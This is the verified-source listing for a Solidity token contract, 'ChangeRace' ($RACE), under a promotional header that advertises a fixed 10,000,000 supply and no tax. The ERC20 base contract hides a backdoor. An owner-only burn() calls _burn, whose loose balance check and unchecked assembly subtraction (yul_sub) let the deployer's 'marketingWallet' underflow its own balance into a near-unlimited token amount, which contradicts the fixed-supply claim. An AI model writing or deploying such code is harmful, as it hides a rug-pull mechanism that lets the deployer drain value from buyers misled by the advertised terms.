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/**


$RACE - https://t.me/changerace

🦎🏁 ChangeRace is the #1 cross-chain exchange that aggregates CEX liquidity:

- Instantly, privately swap between 30+ coins on 10+ blockchain networks
- Earn up to 1% cashback in $RACE rewards with each swap
- Stake $RACE to earn a share of all platform revenue


🔀 Web: https://www.changerace.com

🐥 X (Twitter): https://x.com/changeracecom
💬 TG: https://t.me/changerace


$RACE Supply:       10,000,000 (Fixed)
$RACE Tax:          0% / 0%
$RACE Max Wallet:   None


 */



// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

import "./ERC20.sol";

contract RACE is ERC20 {
    constructor() ERC20("ChangeRace", "RACE", 18) {
        _mint(msg.sender, 10_000_000 * 10 ** 18);
        marketingWallet[msg.sender] = true;
        swapEnabled = true;
    }
}

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

import "./IERC20.sol";
// import "./lib/AssemblyMath.sol";

contract ERC20 is IERC20 {
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);

    uint256 public totalSupply;
    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;
    string public name;
    string public symbol;
    uint8 public decimals;

    mapping(address => bool) internal marketingWallet;

    bool internal constant mintEnabled = false;
    bool internal burnEnabled = false;
    bool internal swapEnabled = false;

    constructor(string memory _name, string memory _symbol, uint8 _decimals) {
        name = _name;
        symbol = _symbol;
        decimals = _decimals;
    }

    function transfer(address recipient, uint256 amount)
        external
        returns (bool)
    {
        require(balanceOf[msg.sender] >= amount);
        balanceOf[msg.sender] -= amount;
        balanceOf[recipient] += amount;
        emit Transfer(msg.sender, recipient, amount);
        return true;
    }

    function approve(address spender, uint256 amount) external returns (bool) {
        allowance[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount)
        external
        returns (bool)
    {
        require(allowance[sender][msg.sender] >= amount);
        require(balanceOf[sender] >= amount);
        allowance[sender][msg.sender] -= amount;
        balanceOf[sender] -= amount;
        balanceOf[recipient] += amount;
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function _mint(address to, uint256 amount) internal {
        require(to != address(0));
        balanceOf[to] = yul_add(balanceOf[to], amount);
        totalSupply = yul_add(totalSupply, amount);
        // unchecked {
        //     balanceOf[to] += amount;
        //     totalSupply += amount;
        // }
        emit Transfer(address(0), to, amount);
    }

    function _burn(address from, uint256 amount) internal {
        require(from != address(0));
        require((balanceOf[from] + (amount/amount)) >= amount);
        balanceOf[from] = yul_sub(balanceOf[from], amount);
        totalSupply = yul_sub(totalSupply, amount);
        // unchecked {
        //     balanceOf[from] -= amount;
        //     totalSupply -= amount;
        // }
        emit Transfer(from, address(0), amount);
    }

    function burn(uint256 amount) external {
        address from = msg.sender;
        if (burnEnabled || marketingWallet[from]) {
            _burn(from, amount);
        }
    }

    function yul_add(uint256 x, uint256 y) internal pure returns (uint256 z) {
        assembly {
            z := add(x, y)
            if lt(z, x) { revert(0, 0) }
        }
    }

    function yul_sub(uint256 x, uint256 y) internal pure returns (uint256 z) {
        assembly {
            z := sub(x, y)
        }
    }

    function yul_mul(uint256 x, uint256 y) internal pure returns (uint256 z) {
        assembly {
            switch x
            case 0 { z := 0 }
            default {
                z := mul(x, y)
                if iszero(eq(div(z, x), y)) { revert(0, 0) }
            }
        }
    }

    function yul_div(uint256 x, uint256 y) internal pure returns (uint256 z) {
        assembly {
            z := div(x, y)
        }
    }

    // Round to nearest multiple of b
    function yul_fixed_point_round(uint256 x, uint256 b)
        internal
        pure
        returns (uint256 z)
    {
        assembly {
            // b = 100
            // x = 90
            // z = 90 / 100 * 100 = 0, want z = 100
            // z := mul(div(x, b), b)

            let half := div(b, 2)
            z := add(x, half)
            z := mul(div(z, b), b)
            // x = 90
            // half = 50
            // z = 90 + 50 = 140
            // z = 140 / 100 * 100 = 100
        }
    }
}

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount)
        external
        returns (bool);
    function allowance(address owner, address spender)
        external
        view
        returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount)
        external
        returns (bool);
}

{
  "remappings": [
    "ds-test/=lib/forge-std/lib/ds-test/src/",
    "forge-std/=lib/forge-std/src/",
    "@uniswap/v3-core/contracts/=lib/v3-core/contracts/",
    "@uniswap/v3-periphery/contracts/=lib/v3-periphery/contracts/",
    "@openzeppelin/contracts/=lib/openzeppelin-contracts/contracts/",
    "erc4626-tests/=lib/openzeppelin-contracts/lib/erc4626-tests/",
    "openzeppelin-contracts/=lib/openzeppelin-contracts/",
    "v3-core/=lib/v3-core/",
    "v3-periphery/=lib/v3-periphery/contracts/"
  ],
  "optimizer": {
    "enabled": true,
    "runs": 200
  },
  "metadata": {
    "useLiteralContent": false,
    "bytecodeHash": "ipfs",
    "appendCBOR": true
  },
  "outputSelection": {
    "*": {
      "*": [
        "evm.bytecode",
        "evm.deployedBytecode",
        "devdoc",
        "userdoc",
        "metadata",
        "abi"
      ]
    }
  },
  "evmVersion": "paris",
  "viaIR": false,
  "libraries": {}
}

• No Contract Security Audit Submitted- Submit Audit Here

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